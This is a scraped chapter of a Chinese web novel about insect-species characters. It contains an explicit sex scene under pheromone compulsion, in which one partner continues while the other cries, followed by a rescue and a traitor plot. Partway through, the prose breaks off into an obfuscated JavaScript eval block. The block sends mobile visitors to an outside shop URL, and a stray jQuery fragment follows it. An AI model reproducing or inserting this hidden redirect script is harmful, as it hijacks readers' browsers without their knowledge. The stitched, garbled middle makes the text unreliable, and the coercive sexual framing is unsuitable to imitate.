该死。

    忘记虫族雄虫的信息素对雌虫的吸引力有多大了。

    加上菲尼克斯原本的精神海状态就差的像枯海,一点点高等级信息素对他来说都是折磨。

    赛斯莱特皱了皱眉。

    荒郊野岭,孤雌寡雄的,他去哪找虫给上将解决生理需求。

    该死。

    又忘记雌雄大防了。

    在赛斯莱特烦躁的时候,窝在被子里吸着微弱的青桔味的年轻的雌虫上将开始轻轻抽泣。

    ——他已经在丧失理智的边缘了。

    也不知道009跑哪去了。

    该死的,不是说做任务吗,任务还没做完系统先跑了。

    有这样做任务的吗!??

    赛斯莱特深呼吸一口气,结果一口气里全是甜腻的蓝莓香,让他差点没一口气背过去。

    他黑着脸,伸手掰过满脸潮、红,眼神已经迷离的雌虫上将,声音不耐烦,“你给我听着,你现在状态非常不好,需要精神梳理,但是很不巧,我不会精神梳理,你要是想活过今晚……”

    赛斯莱特感觉有些牙疼,他顿了顿,咬牙切齿,“你要是想活过今晚,滚上来自己动。”

    说完这两句话,赛斯莱特生无可恋地闭了闭眼。

    做个任务把自己清白搭上去了。

    他上次做任务的时候就没这些屁事!

    该死的,等这只雌虫幸福美满度到一百后他就要让这只雌虫感受到什么是社会险恶。

    他会让菲尼克斯百倍偿还的。

    处在迷离中的菲尼克斯努力睁了睁眼,圆溜溜的雾蓝色眼睛里蕴着水汽,他似乎在思考雄虫说的什么话。

    过了好一会,中心处理器几乎报废的雌虫总算是想明白了雄虫说的话的含义。

    他慢吞吞地爬起来,慢吞吞地脱掉自己的衣服,然后直勾勾地盯着赛斯莱特。

    “……”

    赛斯莱特满头黑线,他当个按/摩/棒还得自己脱衣服。

    该死的雌虫!

    下一秒,赛斯莱特的衣服也不翼而飞。

    菲尼克斯看着眼前光溜溜的雄虫,脑子又宕机了一会,在赛斯莱特快要不耐烦的时候,他才慢吞吞起身。

    翻身上去。

    下沉。

    ……下沉?

    等等!

    赛斯莱特惊恐地拽住了要往下硬坐的雌虫。

    “该死的,你是想要出血吗?”

    虽然他是恶劣了一点,也想过菲尼克斯幸福美满度到达100的时候让他见识到社会险恶、虫心险恶,他的恶劣包括但不限于让雌虫幸福美满度到达100时再想办法给他弄成负数,他会做的比那个叫什么林克的还过分。

    但是绝对不是现在!也不是在这种地方啊!

    这有辱他的虫品,有辱他的床品。

    该死!

    赛斯莱特黑着脸提溜起正忍不住扭腰要往下坐的菲尼克斯,把他扔到了自己的枕头上。

    “唔——”

    菲尼克斯的中心处理器又短路了,他仰着头,呆呆地看着上方的雄虫,一双大眼眨啊眨。

    “……”

    赛斯莱特又用手把雌虫拨拉了一下,让他趴在枕头上。

    “翻过身去,我不想看着你的脸。”

    菲尼克斯此时的听力和视力几乎消散,全部的感官都集中于嗅觉和触觉。

    属于赛斯莱特的枕头上全是他的信息素的味道,满满的青桔味。

    赛斯莱特的手也覆了上去给雌虫做准备。

    水滴淌成小洼。

    赛斯莱特感觉差不多了,他拍了拍菲尼克斯的屁股,示意他抬起来点。

    说什么就做什么的菲尼克斯听话地抬了起来,但下一秒他就后悔了,呜咽着、软着四肢就要往前爬。

    被恶劣赛斯莱特拽了回来,狠狠掼了上去。

    帐篷的灯影晃了半夜才堪堪停歇。

    *

    草率了。

    这是赛斯莱特醒来后的第一反应。

    密闭的帐篷内,浓郁的青桔蓝莓混合香还没有消散,被扔到一边的枕头和被褥上全是干涸的水迹,他和菲尼克斯两个虫在另一个枕头上挤着、拥着陷入了深眠。

    明显刚开机的赛斯莱特看着被蹂躏得不成样子的里衣和不成样子的雌虫陷入了深深的自我反思。

    昨晚真是昏了头了,明明用唾液给他点信息素就行了,再不济他弄出来让雌虫吃掉也好。

    现在好了,要是怀了虫蛋怎么办。

    他们可没做措施。

    还灌的满孕囊都是。

    赛斯莱特头疼地揉了揉眉心。

    不管了,反正他是不会负责的。

    “日安,阁下,”在赛斯莱特怀疑虫生的时候,菲尼克斯睁开眼,用沙哑到极致的声音开口礼貌问好。

    都什么时候了还这么有礼貌,真是笨得要死!

    赛斯莱特轻哼一声,又想了想,生硬地回了句早安。

    天杀的,都怪昨晚玩的太过火了,有把柄了。

    昨晚他仗着军雌耐玩,昨晚上任凭菲尼克斯怎么哭叫都没有停止。

    阿门!阿弥陀佛!虫神在上!

    他有把柄了!!!

    ……

    再次收拾整齐的两虫默默踏上了寻找塞因的路。

    和前几天的氛围不同,赛斯莱特单方面感觉他和菲尼克斯周围在冒粉色的爱心。

    至于这个粉色爱心是哪里冒出来的他也不知道,他正板着脸想把粉色爱心全部扇走。

    而菲尼克斯却有些苦恼。

    孕囊到现在还是涨涨的满满的,他靠卑劣的手段获得了雄虫的第一次。

    菲尼克斯的心情既低落又开心,他觉得他已经喜欢上了雄虫,但他已经没有机会了,他很快就要面临审判日的审判,然后被流放。

    为什么没有早些遇见雄虫呢,那他是不是就有可能成为赛斯莱特的雌侍,甚至是……雌君了呢?

    菲尼克斯心里涩涩的,他没有机会了。

    “T﹏T”

    让他更难过的是,他没机会了,但是之后有的是雌虫有机会,尤其是那个让雄虫亲自来找的军雌塞因。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920756|213458||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“T﹏T”

    赛斯莱特发现小雌虫又变成了缺水的状态,因为心虚,他熟练地打开瓶盖把水递过去。

    菲尼克斯仰头灌了小半瓶,期期艾艾地把剩了一大半的水瓶又递了回去。

    雄虫熟练地把剩下的水收到了空间纽。

    他!收!起!来!了!

    “T﹏T”

    负责给雌虫补完水的赛斯莱特没有察觉到雌虫碎掉的玻璃心,他很快就在树枝上找到了一个熟悉的记号。

    “菲尼克斯,你过来看看这个是不是你们军队的记号。”

    菲尼克斯收拢起碎掉的玻璃心渣渣,上前探查。

    “对的,阁下,这个记号应该是指路求救记号,如果不出意外 ,应该是塞因上校留下的。”

    听到生疏的‘阁下’二字,赛斯莱特挑挑眉,打趣,“还叫我阁下呢?”

    菲尼克斯严肃的面容瞬间涨红,他不自在地移开眼,不敢和眼前的雄虫对视,声音结结巴巴:“赛斯,赛斯莱特。”

    赛斯莱特若有所思地捏着下巴:“赛斯就挺好听的,还是独一无二的称呼呢。”

    他满意地看到眼前雌虫的脸更加红润起来,心里却阴暗地想,做都做了,顺口调戏一下吧,说不定还能加幸福美满度呢,昨晚一晚就加到了59.5呢。

    他要快点让幸福美满度刷满,然后让这只天真的小雌虫见识一下虫心险恶。

    ……

    一个小时后,他们来到了最后一个岩洞点。

    “小心,”菲尼克斯脸上的红晕早已消散,他挡在赛斯莱特前,放轻了步子接近岩洞。

    越靠近血腥味越浓重,菲尼克斯没有犹豫地冲了进去。

    十分钟后,他扶着一只受伤到满脸血污、看不清脸的军雌走了出来。

    赛斯莱特大步走向前:“塞因?”

    听到熟悉的声音,满脸血污、浑身伤口的军雌终于抬头,他声音沙哑:“阁,阁下……”

    两个字似乎牵扯到了心肺,他猛烈地咳嗽起来,细小的内脏碎片随着咳嗽变成血沫吐了出来。

    “先别说话,”赛斯莱特皱眉,紧接着对菲尼克斯说,“联系到其他虫了吗?”

    “联系到了,”菲尼克斯点头,“已经发出信号,搜寻队和医疗队都在赶来。”

    “好,先找个地方坐一下。”

    “阁下……”菲尼克斯托着的血虫似乎没有多少理智了,一个劲地叫着赛斯莱特。

    赛斯莱特低头,语气轻缓:“我在,你小点声说就可以。”

    “叛,叛徒……泄露……”刚蹦出几个字,塞因又剧烈地咳嗽起来,血沫和内脏碎屑滴落在地上,他拼尽全力抬手,把刚刚在岩洞中没有给菲尼克斯的影石递给赛斯莱特。

    赛斯莱特目光沉沉地看着手中满是血渍的影石,结合塞因未表达完全的话语,明白了事情的始末。

    开采矿源的自己虫中出了叛徒,和外虫勾结,造成他的虫受伤,还损毁了他的财产,塞因拼死录下的视频中应该有关于叛徒和那个外虫的具体信息。

    真的是,好极了。